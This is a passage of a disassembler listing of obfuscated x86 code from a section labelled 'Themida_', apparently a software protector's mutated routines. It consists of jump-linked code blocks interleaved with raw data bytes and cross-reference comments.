; ---------------------------------------------------------------------------
dd 4BEh, 8BF00100h, 0C4812434h, 4, 8B240487h, 0B2E92424h
db 27h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5607E7: ; CODE XREF: Themida_:0055D0FCj
pop eax
push ecx
sub esp, 4
mov [esp], esi
mov esi, 1AFB67E3h
push edx
mov edx, 2BCA65A9h
dec edx
dec edx
add edx, 536E4D63h
jmp loc_55E4ED
; ---------------------------------------------------------------------------
loc_560807: ; CODE XREF: Themida_:00551A00j
mov esp, [esp]
jmp loc_559CBA
; ---------------------------------------------------------------------------
byte_56080F db 66h ; DATA XREF: Themida_:00550818o
dd 6824048Bh, 12F7h, 54243C89h, 0E9243C8Bh, 0FFFFB738h
dd 3BAE951h, 0EA810000h, 3BC5E7Ch, 0FF6F9EE9h, 3801BBFFh
dd 6CE90A34h, 81FFFF69h, 4ECh, 24148900h, 0E957E289h, 0FFFFAA13h
dd 55241489h, 4C5883BDh, 9CFEE94Bh, 0B468FFFFh, 89000033h
dd 9BBA2414h, 81486A4Ch, 0D13CA4E2h, 0EDD1E976h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560876: ; CODE XREF: Themida_:0055C173j
pop eax
jmp loc_564186
; ---------------------------------------------------------------------------
dd 4B8h, 8BC30100h, 0C4812404h, 4, 0E9241C87h, 133Ah
; ---------------------------------------------------------------------------
loc_560894: ; CODE XREF: Themida_:005573F0j
mov ebp, 6434899h
push 56ABh
mov [esp], ecx
mov ecx, 495F7C41h
add ecx, 64E502D9h
push ecx
not dword ptr [esp]
pop ecx
sub ecx, 1BF21E0h
or ebp, ecx
pop ecx
not ebp
push edx
mov edx, 907B5BCAh
sub ebp, 3E557E46h
sub ebp, edx
add ebp, 3E557E46h
pop edx
add eax, ebp
pop ebp
jmp loc_56037B
; ---------------------------------------------------------------------------
db 81h, 0EBh, 0E1h
dd 892C8F17h, 81585BDDh, 30207AC3h, 2CAE956h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5608EE: ; CODE XREF: Themida_:00561275j
mov edi, [esp]
add esp, 4
push edi
push edx
mov edx, 2C890726h
xor [esp+4], edx
pop edx
pop esi
xor esi, 2C890726h
pop edi
jmp loc_55F504
; ---------------------------------------------------------------------------
dd 8904EC83h, 0EC832404h, 24248904h, 4240481h, 0E9000000h
dd 0FFFF73F0h, 0F381D3F7h, 0ACB8272h, 1C8BDE01h, 4EC8324h
dd 89241489h, 4C281E2h, 83000000h, 148704C2h, 0F0E95C24h
dd 5DFFFFE7h, 57F868h, 24348900h, 8F5E8F68h, 24348B46h
dd 4C481h, 0BF570000h, 0C88153DFh, 705DEE81h, 0C6815D24h
dd 7CFD4F5Dh, 1F2FEE81h, 0FE012427h, 0FFB2F0E9h, 51B850FFh
dd 297AE575h, 0F088E9C7h, 0B468FFFFh, 8900002Fh, 0CE68240Ch
dd 0E9000052h, 0FFFF7B40h, 240C8966h, 0EF2812B5h, 0B0E95966h
dd 0F7FFFF37h, 68D2h, 2C810000h, 0DF0ACB24h, 3CBE5635h
dd 0E91D997Ah, 0FFFFC959h, 8704C583h, 248B242Ch, 40524h
dd 2050000h, 33000000h, 4312404h, 24043324h, 4868665Ch
dd 19BFE97Eh, 0DAF70000h, 75A4F281h, 0D629188Fh, 0FFFD9DE9h
dd 6BF968FFh, 0FAE90000h
db 0F0h, 2 dup(0FFh)
byte_560A0B db 66h ; DATA XREF: Themida_:00550828o
dd 83240C8Bh, 7BE904ECh, 55FFFFF2h, 83393B68h, 0F5815D39h
dd 7C175A7Bh, 835DEF89h, 0F781FFEFh, 45946345h, 1ADFE981h
dd 0F901055Ah, 0FF6422E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_560A3D: ; CODE XREF: Themida_:00556093j
sub edx, ecx
add edx, 690822D4h
pop ecx
jmp loc_5558AC
; ---------------------------------------------------------------------------
loc_560A4B: ; CODE XREF: Themida_:00554150j
sub esp, 4
mov [esp], esi
push ecx
jmp loc_55C24B
; ---------------------------------------------------------------------------
dw 6852h
dd 4B4h, 81242489h, 42404h, 34FF0000h, 24148B24h, 8104C483h
dd 4C4h, 4EC8100h, 89000000h, 4BD242Ch, 0E9000000h, 0FFFF5FDCh
dd 2811F781h, 0EF8134FAh, 4E8BAB85h, 0FF0B68E9h, 80CA00FFh
dd 8B59CDC2h, 0C483241Ch, 0F6EA8604h, 80EA86D5h, 0EC8173C2h
dd 4, 0B7241C89h, 0E9CFFEABh, 3B82h, 0E92414F7h, 0FFFF28A2h
dd 138EBB53h, 91E93608h, 8FFFFF38h, 248B2404h, 24048924h
dd 8904EC83h, 6DB9240Ch, 0E90D5960h, 0FFFF66D0h, 0C9685255h
dd 8B088A33h, 0C4832414h, 0C1E28104h, 81224F45h, 9E716ACAh
dd 0D91AE918h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560B0E: ; CODE XREF: Themida_:0055BE61j
xor ecx, 0B84574CFh
sub esi, ecx
pop ecx
xchg esi, [esp]
pop esp
push 210Ch
mov [esp], esp
add dword ptr [esp], 4
jmp loc_55542A
; ---------------------------------------------------------------------------
db 5Ah
dd 4C281h, 0C2830000h, 24148704h, 42E9535Ch, 0F700004Ch
dd 0C9A3E9D1h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560B4A: ; CODE XREF: Themida_:00557022j
mov dx, [esp]
push ecx
push esp
jmp loc_554912
; ---------------------------------------------------------------------------
loc_560B55: ; CODE XREF: Themida_:0055E5CDj
mov edi, 31BD22ABh
push edx
mov edx, 0DEA2CA3h
sub edi, edx
pop edx
inc edi
and edi, 36D8152Ah
jmp loc_55E317
; ---------------------------------------------------------------------------
db 89h
dd 0E9CF89E9h, 0FFFF49A9h, 8105E5C1h, 921F4BF5h, 5DEA317Ch
dd 15AD601h, 0C0835EF0h, 24048704h, 0FF8EECE9h, 5C97B9FFh
dd 0D1312CE5h, 8B5DE95Ah, 248BFFFFh, 2424D324h, 0FE01E99Ch
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_560BAE: ; CODE XREF: Themida_:00559C81j
neg byte ptr [esp+1]
pop ecx
jmp loc_556219
; ---------------------------------------------------------------------------
dd 0C68EB29h, 0E900007Ch, 0FFFF2BDEh, 4E4B850h, 0C5015253h
dd 0BA524D58h, 24B5753Ah, 0FAE9D509h, 5A000033h, 0E92AEA80h
dd 0FFFFD02Ch, 0C181E189h, 4, 0FF0818E9h, 240C8BFFh, 6804C483h
dd 15DDh, 0E9241C89h, 0FFFFC344h, 0B551A6B5h, 212DE90Dh
dd 15AFFFFh, 2434FFF0h, 5E2434FFh, 0FF701EE9h, 24048BFFh
dd 0FF4D1CE9h, 2C3366FFh, 2C316624h, 649BE924h, 0C301FFFFh
dd 23E95058h
db 8, 2 dup(0)
; ---------------------------------------------------------------------------
loc_560C3B: ; CODE XREF: Themida_:005639CDj
push 0D62h
mov [esp], ebx
mov bx, 3BEFh
mov dx, bx
pop ebx
sub esp, 4
mov [esp], eax
push edx
mov dx, 2459h
and dx, 7477h
xor dx, 3C4Eh
mov ax, dx
pop edx
or ax, 7F19h
neg ax
jmp loc_55144F
; ---------------------------------------------------------------------------
dd 0E95AD301h, 0FFFFF8B9h, 0E924148Bh, 12E5h, 8B24048Fh
dd 0FB682424h, 89000051h, 5D68240Ch, 8900000Dh, 8851241Ch
dd 0D087E9D5h, 0A104FFFFh, 16EAE9h, 240C3100h, 1294E9h
dd 4C48300h, 1A86E9h
db 0
; ---------------------------------------------------------------------------
loc_560CB5: ; CODE XREF: Themida_:0055C786j
push edx
mov edx, 4E9D79A3h
and ebp, edx
pop edx
inc ebp
shr ebp, 2
sub esp, 4
mov [esp], edx
mov edx, 4279304Ah
sub edx, 0FCA8CB33h
and ebp, edx
pop edx
sub ebp, 4E3D0774h
sub ebp, 0B3433888h
add edi, ebp
pop ebp
sub edi, 4
xor edi, [esp]
jmp loc_562FB5
; ---------------------------------------------------------------------------
db 5Fh
dd 0FFF82159h, 815F2434h, 4C4h, 0FC00900h, 0FFA63684h
dd 0E38953FFh, 0FF5B21E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_560D11: ; CODE XREF: Themida_:0055B2E4j
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ebx
jmp loc_55C0B2
; ---------------------------------------------------------------------------
loc_560D29: ; CODE XREF: Themida_:0055F1C1j
pop ebp
jmp loc_553461
; ---------------------------------------------------------------------------
db 83h
dd 8F5404ECh, 0B0E92404h, 89FFFF67h, 74FF243Ch, 0E95F0424h
dd 0FFFFFF38h, 582434FFh, 4C481h, 0EC810000h, 4, 35E3E9h
dd 0C6E28100h, 5113D171h, 816BE4B9h, 0E9CA0116h, 0FFFFBFEDh
dd 0E9240C8Bh, 1D64h, 0E9515E54h, 0FFFF97C0h, 2474FF50h
dd 2434FF04h, 0FF5C61E9h, 0C1E181FFh, 810A4B6Bh, 5A9444F1h
dd 774EE906h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560D9E: ; CODE XREF: Themida_:0055127Cj
mov ebx, 53635477h
mov eax, 0C4D4CAC6h
xor eax, ebx
pop ebx
add esi, eax
pop eax
jmp loc_563D53
; ---------------------------------------------------------------------------
db 40h
dd 0E907E8C1h, 0FFFFA150h, 2D37F381h, 0BF57084Eh, 0DC93DFFFh
dd 0E95FFB01h, 0FFFF6077h, 4C481h, 0E9560000h, 0FFFF0215h
dd 2B8h, 0BDC28100h, 12F7A2Fh, 73A968C2h, 4890000h, 32BBB824h
dd 0BFE96989h
db 1Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_560DFB: ; CODE XREF: Themida_:0056038Ej
add edi, 43921E41h
sub edi, 6109354Dh
jmp loc_55D49A
; ---------------------------------------------------------------------------
dd 1877B951h, 0E941206Bh, 0FFFF07A9h, 5104C483h, 0FF0F63E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_560E21: ; CODE XREF: Themida_:005544EEj
push ecx
mov ecx, 4
sub dword ptr [esp+4], 40C73CB5h
add [esp+4], ecx
push edi
mov edi, 40C73CB5h
add [esp+8], edi
pop edi
mov ecx, [esp]
add esp, 4
jmp loc_5509AF
; ---------------------------------------------------------------------------
loc_560E49: ; CODE XREF: Themida_:0056184Bj
pop ebp
push ebp
push 1EB255A9h
pop ebp
add ebp, 1C5D1B0Ch
add ebx, 6130438Ah
add ebx, ebp
sub ebx, 6130438Ah
push dword ptr [esp]
push dword ptr [esp]
pop ebp
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_56371A
; ---------------------------------------------------------------------------
loc_560E80: ; CODE XREF: Themida_:00552922j
pop ebp
push ebp
mov ebp, 561F7B6Eh
dec ebp
jmp loc_5534FA
; ---------------------------------------------------------------------------
loc_560E8D: ; CODE XREF: Themida_:00559FEBj
push dword ptr [esp]
pop edx
jmp loc_561184
; ---------------------------------------------------------------------------
loc_560E96: ; CODE XREF: Themida_:00551EC2j
sub esp, 4
mov [esp], eax
push ebx
push dword ptr [esp]
pop eax
jmp loc_559FF0
; ---------------------------------------------------------------------------
loc_560EA9: ; CODE XREF: Themida_:0055C2D9j
shl ebp, 7
or ebp, 48B17621h
not ebp
or ebp, 758A4F58h
dec ebp
add ebp, 0A31B0A7h
add eax, ebp
pop ebp
push esi
mov esi, 4
jmp loc_563B2A
; ---------------------------------------------------------------------------
db 0B3h
dd 66DD284Fh, 2032E95Bh, 0C7FEFFFFh, 8073C780h, 93B473C7h
dd 205BFC00h, 686658E6h, 8966707Fh, 0BB7241Ch, 0EEE9FE08h
dd 100000Dh, 0E9C581C5h, 584A1436h, 3E6FE9h, 4C18100h
dd 83000000h, 0FEE904C1h
db 3Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_560F17: ; CODE XREF: Themida_:0055FA53j
pop ebp
add ecx, eax
pop eax
push ecx
jmp loc_555A34
; ---------------------------------------------------------------------------
db 54h, 0E9h, 0E7h
dd 52FFFFCBh, 700F93BAh, 71C28169h, 83968FF0h, 2C8904ECh
dd 895D5224h, 0A4E95DEFh, 57000043h, 4BFh, 5FFE0100h, 5C243487h
dd 0FE025D35h, 30FF667Eh, 0FEFA52E9h, 4EC83FFh, 0BF243C89h
dd 4, 0C5E9FD29h
db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560F6F: ; CODE XREF: Themida_:00562605j
mov [esp], ebp
mov ebp, esp
add ebp, 4
push eax
push 5190h
jmp loc_55D749
; ---------------------------------------------------------------------------
loc_560F85: ; CODE XREF: Themida_:00552F94j
mov esi, ebp
pop ebp
add ebx, esi
mov esi, [esp]
jmp loc_551A13
; ---------------------------------------------------------------------------
dw 0C483h
dd 24048F04h, 0FFD9B6E9h, 392AB9FFh, 0F2E93EA8h
db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560FA7: ; CODE XREF: Themida_:00560602j
mov [esp], ecx
push 66Ah
mov [esp], ebx
jmp loc_562A76
; ---------------------------------------------------------------------------
aZiSgc db 'Z┴Й]И┐C',0
align 10h
dd 8B24048Fh, 89562424h, 0B0CFE9E6h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560FCE: ; CODE XREF: Themida_:00551D03j
mov ebp, [esp]
add esp, 4
jmp loc_551EBD
; ---------------------------------------------------------------------------
loc_560FDC: ; CODE XREF: Themida_:00554DCBj
add ebx, 4
add ebx, 4
push 54F9h
mov [esp], ebx
push dword ptr [esp+4]
push dword ptr [esp]
pop ebx
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
sub esp, 4
mov [esp], edi
push ecx
push 41234B9Ah
jmp loc_55B0D0
; ---------------------------------------------------------------------------
dd 682391B9h, 0F6E1815Fh, 813C2D3Ah, 0BA0124C1h, 0DEE9817Ch
dd 8970DF0Eh, 0EAC159CAh, 0F7DAF705h, 397E9D2h, 7C050000h
dd 5A35F960h, 3F8AE9h
db 0
; ---------------------------------------------------------------------------
loc_561051: ; CODE XREF: Themida_:0055670Cj
sub ebx, edi
jmp loc_55C3D2
; ---------------------------------------------------------------------------
dd 0FEF952E9h, 8604B1FFh, 14C6E9D9h, 0C5810000h, 0A7030E0h
dd 0ABB2ED81h, 95E950B9h, 5DFFFFA0h, 38E68h, 24348900h
dd 0F1895E53h, 0E1C15B5Eh, 3E9C107h, 68h, 3425E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561096: ; CODE XREF: Themida_:00554532j
sub esp, 4
mov [esp], ebx
mov ebx, 1B7003BDh
push 2687h
mov [esp], esi
mov esi, 35B4295Ah
jmp loc_564AA8
; ---------------------------------------------------------------------------
loc_5610B3: ; CODE XREF: Themida_:00555049j
push ebp
push eax
mov eax, 31538D4h
mov ebp, 2B5C930h
add ebp, eax
pop eax
jmp loc_557641
; ---------------------------------------------------------------------------
db 68h
dd 869h, 89240489h, 405E0h, 0BA520000h, 17432E30h, 6BF4BB53h
dd 0DFE9304Fh
db 9, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5610E7: ; CODE XREF: Themida_:005641FEj
push ecx
mov ecx, 697700A5h
shl ecx, 5
neg ecx
xor ecx, 7B7F578Eh
xor ecx, 0FA4FA1B8h
mov ebx, ecx
pop ecx
jmp loc_5619E2
; ---------------------------------------------------------------------------
dd offset dword_59C800
aHh6 db 'ь,(hh6',0
align 2
dw 1C89h
dd 0EFF1E924h, 0FDBDFFFFh, 0E9308A11h, 1130h
dword_561124 dd 62A768h, 242C8900h, 168h, 475FE900h ; DATA XREF: Themida_:005508A0o
db 2 dup(0)
word_561136 dw 77FFh ; DATA XREF: Themida_:00550720o
dd 59669D1Ch, 241CD366h, 0F869E99Ch
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_561146: ; CODE XREF: Themida_:00559CEDj
dec edx
shl edx, 3
sub edx, 60040802h
jmp loc_559CAA
; ---------------------------------------------------------------------------
db 58h, 83h, 0C4h
dd 5A545204h, 4EC81h, 4890000h, 7D5CB824h, 0E0C13431h
dd 5E0C104h, 0FFC891E9h, 5FF829FFh, 3542EB81h, 0E9526935h
dd 0FFFF3795h
; ---------------------------------------------------------------------------
loc_561184: ; CODE XREF: Themida_:00560E91j
add esp, 4
xchg ebx, [esp]
mov esp, [esp]
mov [esp], ecx
push edx
push esp
pop edx
add edx, 4
sub edx, 4
xchg edx, [esp]
jmp loc_5625E6
; ---------------------------------------------------------------------------
dd 0C0B60F59h, 0FFDD87E9h, 9EEB81FFh, 0E907FB0Ch, 0FFFF4D26h
dd 2424D366h, 6AC8E99Ch, 0F380FFFFh, 2EBC0BFh, 0FF8C90E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5611CD: ; CODE XREF: Themida_:0055DA80j
mov edi, [esp]
add esp, 4
push 7B92h
mov [esp], ebx
push 4707h
mov [esp], esi
mov esi, 800h
sub esp, 4
jmp loc_555C02
; ---------------------------------------------------------------------------
db 81h
dd 0B8042444h, 0E955166Fh, 4A3Bh, 148BF428h, 4C48324h
dd 40E95066h, 1FFFF31h, 0F551E9F7h, 0E940FFFFh, 0FFFFC566h
dd 44EA815Ah, 0E94A5E1Eh, 0FFFF77FCh, 31241C33h, 86E9241Ch
dd 2900003Bh, 0BCEE81DEh, 0FF57D518h, 835B2434h, 0C68104C4h
dd 902D2Dh, 7351E681h, 0E7E97389h
db 1Bh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561253: ; CODE XREF: Themida_:0055F34Fj
mov edi, 114F761Dh
xor esi, edi
pop edi
mov ebx, esi
pop esi
jmp loc_5517EF
; ---------------------------------------------------------------------------
loc_561263: ; CODE XREF: Themida_:00550B86j
sub esp, 4
mov [esp], esi
push 6A63h
mov [esp], edi
push eax
jmp loc_5608EE
; ---------------------------------------------------------------------------
dw 69BDh
dd 8155F95Ah, 0C11B00E5h, 20ED812Fh, 8101DF36h, 0F2DE69F5h
dd 5DE8293Dh, 81E9515Bh, 5AFFFF66h, 4EC81h, 0C890000h
dd 46824h, 0C8B0000h, 0B5A0E924h, 0F381FFFFh, 790F78CBh
dd 18B2EF81h, 86E92957h, 8FFFFEFDh, 0BE562404h, 4, 4246C81h
dd 271D6263h, 8904EC83h, 6CE92414h
db 80h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5612DF: ; CODE XREF: Themida_:0055A0F8j
pop edx
jmp loc_55A5C0
; ---------------------------------------------------------------------------
db 8Bh, 2Ch, 24h
dd 4C481h, 0C4830000h, 0E9D63104h, 0FFFF09BEh, 8BF3015Dh
dd 89562434h, 4C681E6h, 83000000h, 348704C6h, 0FF535C24h
dd 0E9042474h, 0FFFF3BBFh
dword_561318 dd 81D830ACh, 2ECh, 1C896600h, 78E4E924h, 0E957FFFFh, 3ACAh
; DATA XREF: Themida_:005507C4o
dd 24048F54h, 4BE56h, 74010000h, 595E0424h, 0FF57C1E9h
dd 709FBEFFh, 0F5890569h, 772E95Eh, 0EF810000h, 16AE16Ch
dd 575FF801h, 38BF5752h, 0C163F845h, 0E7C106EFh, 74F78106h
dd 89757240h, 5F525FFAh, 0FF4EB8E9h, 0F631E9FFh
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_56137E: ; CODE XREF: Themida_:0055C587j
sub ax, 0FFFFh
shr ax, 3
push ebx
mov bx, 16CFh
shr bx, 7
or bx, 0FC6h
jmp loc_55AD5B
; ---------------------------------------------------------------------------
loc_561399: ; CODE XREF: Themida_:00556744j
mov ebx, 45E07EC7h
sub esp, 4
mov [esp], esi
sub esp, 4
mov [esp], ebp
mov ebp, 101B2F7Eh
jmp loc_552F88
; ---------------------------------------------------------------------------
dw 0E689h
dd 4C681h, 0B9510000h, 4, 8759CE01h, 0E95C2434h, 0FFFFA01Fh
dd 5024248Bh, 0FF3D38E9h, 0EAC142FFh, 83F28105h, 31B6F4A5h
dd 3176E9D0h, 88520000h, 5AF788EEh, 8B387F88h, 0C483241Ch
dd 240C8B04h, 2CE2E9h, 0EC815800h, 4, 0E9241C89h, 0FFFF5E45h
; ---------------------------------------------------------------------------
loc_561414: ; CODE XREF: Themida_:00565221j
sub [edi+24h], ebx
mov ebx, [esp]
add esp, 4
loc_56141D: ; CODE XREF: Themida_:0055AEFBj
push 2AE2h
mov [esp], edx
mov edx, ebx
push 4D52h
jmp loc_55655D
; ---------------------------------------------------------------------------
dd offset dword_450050+2A18h
align 2
dw 1C89h
dd 431FE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56143E: ; CODE XREF: Themida_:00559410j
sub bx, ax
sub bx, 4294h
mov eax, [esp]
add esp, 4
jmp loc_563B22
; ---------------------------------------------------------------------------
loc_561454: ; CODE XREF: Themida_:00565BFEj
mov esi, 762F60C2h
jmp loc_550AC9
; ---------------------------------------------------------------------------
dw 4B8h
dd 1000000h, 159CE9C3h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56146A: ; CODE XREF: Themida_:0055FCCAj
pop ebx
jmp loc_560063
; ---------------------------------------------------------------------------
loc_561470: ; CODE XREF: Themida_:00552D5Aj
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
mov cx, [esp]
push ecx
mov ecx, esp
push ebp
jmp loc_55234E
; ---------------------------------------------------------------------------
loc_561489: ; CODE XREF: Themida_:0055F999j
mov ebp, 5F063141h
jmp loc_559DF7
; ---------------------------------------------------------------------------
db 8Bh
dd 1FE92404h
db 1Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56149B: ; CODE XREF: Themida_:0055A899j
mov eax, 7E8A2841h
shl eax, 8
jmp loc_563AAF
; ---------------------------------------------------------------------------
dd 4C281h, 5C680000h, 89000043h, 21E92404h, 5DFFFFF9h
dd 525EF201h, 42474FFh, 0E924148Bh, 0FFFF5430h, 50C1FE5Bh
dd 0FFBE6EE9h, 81D6F7FFh, 236806C6h, 1EE8110h, 0E9000000h
dd 0FFFF362Ah
; ---------------------------------------------------------------------------
loc_5614E8: ; CODE XREF: Themida_:00563379j
add edx, 4
sub edx, 4
push edx
push dword ptr [esp+4]
jmp loc_551C0B
; ---------------------------------------------------------------------------
loc_5614FE: ; CODE XREF: Themida_:00565407j
mov ecx, 3B0F70B5h
sub ebx, ecx
pop ecx
push edx
mov edx, 7650704Eh
sub ebx, edx
pop edx
jmp loc_561841
; ---------------------------------------------------------------------------
dd 2414895Ch, 2434FF54h, 4C4835Ah, 0FFFF83E9h, 0A4E95AFFh
dd 58FFFFA2h, 1C33E9h, 243C8900h, 0C781E789h, 4, 4EC81h
dd 1C890000h, 4BB24h, 0DF290000h, 243C875Bh, 0FFABF6E9h
dd 665F66FFh, 0D166DBF7h, 0E06866EBh, 34896636h, 35FBE924h
dd 0EC81FFFFh, 4, 0FF7883E9h, 2434FFFFh, 0DBD8E95Fh
db 2 dup(0FFh)
word_56157E dw 0E9ACh ; DATA XREF: Themida_:005506E4o
dd 0FFFFC248h, 6BA968h, 24148900h, 737968h, 241C8900h
dd 80FBB450h, 0C480F7F4h, 3FE4808Ah, 8072C480h, 0E788BDC4h
dd 0FFEF8058h, 88BAC780h, 0D3005BFAh, 0FF6FB3E9h, 0D1F781FFh
dd 5E461261h, 0FB87DF29h, 5F2434FFh, 8104C483h, 7029F2F3h
dd 4DB85054h, 0E93C4105h, 0FFFF532Bh, 5304C483h, 46938BBh
dd 5BDF2971h, 0C781C701h, 71046938h, 148DBD55h, 8AE95A18h
dd 1FFFFF3h, 242C8BEFh, 0E904C483h, 0FFFF233Fh, 3579B850h
dd 99355A06h, 2D578D29h, 5F47319Ah, 0F7E9D0F7h, 31FFFFFBh
dd 14332414h, 34895C24h, 34FF5424h, 89565E24h, 4C681E6h
dd 81000000h, 4C6h, 24343300h, 33243431h, 5DE92434h, 89FFFFE8h
dd 0E7C15BDFh, 1C78305h, 7AA9C781h, 0EF833FD6h, 0DBF78101h
dd 507FA120h, 0FF9D7BE9h, 81E289FFh, 4C2h, 4B85000h, 0E9000000h
dd 0FFFFD698h, 3359CB01h, 0B9E9241Ch, 0E900000Ah, 0FFFEF323h
dd 0AEE5E950h, 0EF80FFFFh, 9DB05070h, 0A2E9D0F6h
db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56169F: ; CODE XREF: Themida_:00558C80j
pop ecx
mov bh, dh
mov edx, [esp]
add esp, 4
pop eax
push ecx
mov cl, bh
mov [edi+eax*4], cl
pop ecx
push dword ptr [esp]
pop ebx
push ebx
jmp loc_5604BB
; ---------------------------------------------------------------------------
dw 3358h
dd 65E92414h
db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5616C3: ; CODE XREF: Themida_:0055DF21j
push esi
mov esi, 1D3510EDh
not esi
or esi, 75C172CAh
jmp loc_55F811
; ---------------------------------------------------------------------------
dw 0EF89h
dd 0FF4320E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5616DD: ; CODE XREF: Themida_:00563E53j
mov edi, eax
pop eax
shr edi, 5
sub edi, 0FFFFFFFFh
xchg edx, edi
dec edx
xchg edx, edi
shr edi, 1
inc edi
jmp loc_558283
; ---------------------------------------------------------------------------
db 81h
dd 0EB30B1C2h, 0E9D2F71Ah, 0FFFF779Fh, 0FEF2AAE9h, 2D4DBFFFh
dd 0DFF71559h, 45E5C781h, 0F9891F4Fh, 81D9F75Fh, 0EF5C74C1h
dd 49E9D138h, 3CD0E953h, 0F7550000h, 815D2414h, 0F40266F5h
dd 1334E954h, 0E3B90000h, 110534Ah, 5908244Ch, 0E924048Bh
dd 0FFFF7BCCh, 8704C683h, 535C2434h, 0FFCDA9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_561755: ; CODE XREF: Themida_:0055B043j
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_55EB16
; ---------------------------------------------------------------------------
db 29h, 0C2h, 8Bh
dd 14E92404h
db 6Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56176B: ; CODE XREF: Themida_:00556872j
push esi
mov esi, 457F5042h
not esi
inc esi
sub esi, 37B3081Fh
xor esi, 0E05CBD3Ch
xor ebx, esi
pop esi
add edi, 49C24664h
push ebp
jmp loc_55CF30
; ---------------------------------------------------------------------------
loc_56178F: ; CODE XREF: Themida_:0055CC95j
mov ecx, 484B222Fh
mov eax, ecx
pop ecx
jmp loc_55E9A6
; ---------------------------------------------------------------------------
loc_56179C: ; CODE XREF: Themida_:0055630Aj
add esi, 4
sub esi, 4
jmp loc_561F97
; ---------------------------------------------------------------------------
loc_5617AD: ; CODE XREF: Themida_:005631E7j
push 0
jmp loc_557C79
; ---------------------------------------------------------------------------
db 50h
dd 4B8h, 58C68900h, 1ACEEA81h, 0F22962A8h, 1ACEC281h, 34FF62A8h
dd 0E1B7E924h, 8953FFFFh, 4C381E3h, 0E9000000h, 0FFFF813Eh
dd 52CBF680h, 12454F6h, 8324148Bh, 0EEC004C4h, 0E4F8E905h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5617FA: ; CODE XREF: Themida_:005577C3j
pop edx
add edx, edi
push eax
mov eax, 0
add eax, edx
push ebx
push ebp
push 22FD0764h
jmp loc_55F166
; ---------------------------------------------------------------------------
db 29h, 0D6h, 8Bh
dd 0C4832414h, 0BFC58104h, 0E928B25Ch, 0FFFFA5B7h, 8904EC83h
dd 2FB82404h, 2D06C233h, 34787253h, 558C301h, 13A269CFh
dd 0FF6569E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_561841: ; CODE XREF: Themida_:0056150Fj
sub ebx, eax
push ebp
mov ebp, 7650704Eh
add ebx, ebp
jmp loc_560E49
; ---------------------------------------------------------------------------
dd 1ABFF581h, 0EF096B2Fh, 46E94F5Dh, 0F7FFFFCCh, 3930E9D3h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561866: ; CODE XREF: Themida_:0056418Fj
mov edx, 140B5D33h
xor edx, 0A03DBD10h
jmp loc_55590D
; ---------------------------------------------------------------------------
dw 5651h
dd 1E7C72BEh, 0BA525669h, 11493374h, 4245431h, 16FCE95Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56188E: ; CODE XREF: Themida_:00551C0Cj
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5593B4
; ---------------------------------------------------------------------------
byte_561899 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0055074Co
dd 5324148Bh, 0BF57E389h, 107777FDh, 72CBE781h, 0E7C140F5h
dd 0E7CF8103h, 0F7318520h, 22C3E9DFh, 51590000h, 0F33F0CB9h
dd 0E9CD311Dh, 0FFFEF8E9h, 348BF189h, 0A8DE924h, 81580000h
dd 4C4h, 5E9C100h, 3ACCE981h, 0BA520327h, 0BD11E34h, 0F2814A4Ah
dd 23971BB0h, 15AD729h, 994AE9CFh
db 2 dup(0FFh)
word_5618FE dw 8950h ; DATA XREF: Themida_:0055088Co
dd 405E0h, 0E8830000h, 0ED17E904h, 0F5CFFFFh, 18E952C8h
db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561917: ; CODE XREF: Themida_:0055C696j
add ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
jmp loc_565CD0
; ---------------------------------------------------------------------------
loc_561928: ; CODE XREF: Themida_:00550AFBj
add esp, 4
push esi
jmp loc_55E8E3
; ---------------------------------------------------------------------------
db 2Ch, 84h, 0
dd 668404D0h, 8324148Bh, 148904ECh, 81E28924h, 4C2h, 51BB5300h
dd 810C2F69h, 2F694FEBh, 0AFEA810Ch, 14F664Ch, 0AFC281DAh
dd 0FF4F664Ch, 1C8B2434h, 4C48124h, 0E9000000h, 431Ch
; ---------------------------------------------------------------------------
loc_561974: ; CODE XREF: Themida_:0055E312j
mov eax, esp
